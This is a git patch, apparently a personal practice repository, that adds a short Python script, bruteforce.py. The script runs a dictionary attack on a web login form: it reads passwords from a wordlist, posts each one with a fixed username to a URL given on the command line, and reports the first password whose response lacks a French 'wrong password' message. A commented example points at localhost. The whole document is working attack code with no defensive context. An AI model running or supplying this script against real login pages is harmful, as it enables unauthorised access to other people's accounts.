From a1203ccb343703ba5ae522254f75b6384a1831a7 Mon Sep 17 00:00:00 2001 From: jerome Date: Mon, 18 Dec 2023 00:02:09 +0100 Subject: =?UTF-8?q?dep=C3=B4t=20initial?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- bruteforce.py | 27 +++++++++++++++++++++++++++ 1 file changed, 27 insertions(+) create mode 100644 bruteforce.py (limited to 'bruteforce.py') diff --git a/bruteforce.py b/bruteforce.py new file mode 100644 index 0000000..45d950b --- /dev/null +++ b/bruteforce.py @@ -0,0 +1,27 @@ +import sys +import requests + +def bruteforce(url,username,password): + reponse=requests.post(url=url,data={ + "username":username, + "password":password + }) + #print(reponse.text) + if "Mauvais mot de passe" in reponse.text: + print("mauvais pwd") + return False + else: + print(f"Trouvé password \"{password}\"") + return True + +if __name__ == "__main__": + url = sys.argv[1] + dico = sys.argv[2] + with open(dico, 'r') as wordlist: + for password in wordlist.readlines(): + password=password.strip() + if bruteforce(url,"jerome",password)==True: + sys.exit() + +#bruteforce("http://localhost/page.php","jerome","secret") + -- cgit v1.2.3